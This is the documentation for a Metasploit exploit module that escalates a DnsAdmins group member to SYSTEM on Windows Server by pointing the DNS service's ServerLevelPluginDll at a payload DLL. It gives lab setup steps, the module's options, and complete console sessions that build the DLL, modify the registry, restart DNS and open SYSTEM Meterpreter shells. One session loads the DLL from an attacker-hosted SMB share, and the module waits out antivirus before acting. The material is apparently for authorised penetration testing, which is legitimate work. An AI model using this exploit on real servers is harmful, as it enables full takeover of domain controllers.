## Vulnerable Application

Windows Server 2003 and above

#### Introduction
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at
`HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be
made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL
being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.

Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility
that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the
Service Manager without first clearing out the `ServerLevelPluginDll` value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
key using an account with administrator privileges.

To avoid the potential of this occurring, this module has a configurable option, `AVTIMEOUT`, which allows users to configure
how long they would like to wait for any potential AV to pick up on the file after which the module will then check to
ensure the dropped DLL file exists prior to creating the `ServerLevelPluginDll` value within the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key.

It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should
be especially careful when setting the value of `DLLPATH` to ensure that they don't inadvertently set an incorrect IP address and thereby
prevent the DNS server from being able to restart.

This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
Server version up to and including Windows Server 2019.

### Setup Steps (Windows Server 2019 Standard)
1. Install Windows Server 2019 Standard with GUI
2. Install and configure Active Directory Domain Services and DNS services.
3. Promote the server to a domain controller once the initial setup wizard is
   complete. This will complete the setup of the AD.
4. Reboot
5. Add a new user which I called normal and set its password to a long string such as
`thisIsADamnGoodPassword123!`. Don't use any other special characters or you may end up
violating the default password policy.
6. Add this new user to two groups: `DnsAdmins` (should have been created with the installation of
the DNS server and the AD Server), and `Remote Desktop Users`.
See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info
on how to do this.
7. To go `Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers ->
Default Domain Controllers Policy` and right click on it, then select Edit. From here select Policies ->
Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select
the Allow log on locally policy underneath this and double click on it. Ensure the Define these
policy settings option is checked, and then select Add User or Group and add in the name of the
user that you just created. It should look something in the format of *domain name*\*user name*.
Then click Apply and click OK.
8. Run gpupdate again.
9. Reboot
10. You should now be able to log in as the new user, which should also be in the DnsAdmins group.
You can confirm this by running `net localgroup DnsAdmins` and confirming that the new user is
listed as a member of this group in the output returned.
11. Run `wmic useraccount where name='*username of the new account*'` to get the SID of the
new account that you added in earlier.
12. Run `sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)`
in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command
(aka the SID of the new low privileged user you added).

## Verification Steps

1. Get a Meterpreter shell
2. `use exploit/windows/local/dnsadmin_serverlevelplugindll`
3. `set PAYLOAD <payload>`. Payload architecture must be the same as the target system
4. `set LHOST <lhost>`
5. `set LPORT <lport>`
6. `set SESSION <session_no>` to specify session
7. `set DLLNAME <dllname>` if you want to name your DLL something other than `msf.dll`
8. `set DLLPATH <dllpath>` if you want to place your DLL somewhere other than `%TEMP%` or if you want to use a UNC path
9. `set MAKEDLL true` if you want to just make the DLL, and not carry out the exploit
10. `exploit` to get SYSTEM shell if `MAKEDLL` is set to `false`, or to write
the DLL to the `~/.msf4/local` folder if `MAKEDLL` is set to `true`

## Options

### DLLNAME
Name of the DLL to use.

### DLLPATH
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator
has already performed the following actions:
1. Set up a working SMB2 share (via a tool such as Impacket's `smbserver.py` via a command such as
`sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/`
2. Created a DLL of the same architecture as the target system and placed in within this share.

### MAKEDLL
If set to `true`, then just create the DLL, do not conduct the full exploit.
The resulting DLL will be stored in the `~/.msf4/local` directory.

### AVTIMEOUT
Time, in seconds, to wait for any AV on the target system to potentially pick up on the
dropped DLL file, prior to the module checking to see if the DLL file still exists. This
is needed to prevent a scenario where the DLL file gets removed and the module tries to make
changes that could prevent the DNS server from being able to start.

## Scenarios

### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%`
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    msf.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    false            yes       Just create the DLL, do not exploit.
   SESSION                     yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.17.168.195   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500

meterpreter > 
[+] Exited danger zone successfully!

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  RAPID7\normal @ WIN-M5JU6L5RA9L        0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L  0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN-M5JU6L5RA9L
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : RAPID7
Logged On Users : 12
Meterpreter     : x64/windows
meterpreter > 
```

### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
The easiest way to set this up is to Impacket's `smbserver`. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket.
Download the latest release and untar it, then `cd` into the new directory that is created. You should see a file named `setup.py`. Run the command
`sudo python3 setup.py install` and it will install Impacket for you. Once this is done, navigate to the `examples` directory and follow the following steps:

```
 ~/Desktop/impacket-0.9.21/examples  sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

```

This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named `test`, that will be sharing the contents of
the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload.

```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    mp4.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    true             yes       Just create the DLL, do not exploit.
   SESSION    3                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     6688             yes       The listen port
   RHOST     172.17.169.123   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > 
```

Once the DLL has been generated, one can proceed with the actual exploit:
```
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
MAKEDLL => false
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test
DLLPATH => \\172.17.168.195\test
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Checking service state...
[*] Using user-provided UNC path.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-M5JU6L5RA9L
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : RAPID7
Logged On Users : 12
Meterpreter     : x64/windows
meterpreter > 
```

### Windows Server 2019 Standard x64, just creating DLL
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    mp4.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    true             yes       Just create the DLL, do not exploit.
   SESSION    3                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     6688             yes       The listen port
   RHOST     172.17.169.123   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
```

## Notes
1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to
the registry, and is sure to generate a ton of event logs when the DNS service is
stopped and restarted..
2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to
disk, but if automatic cleanup fails manual cleanup may be necessary.
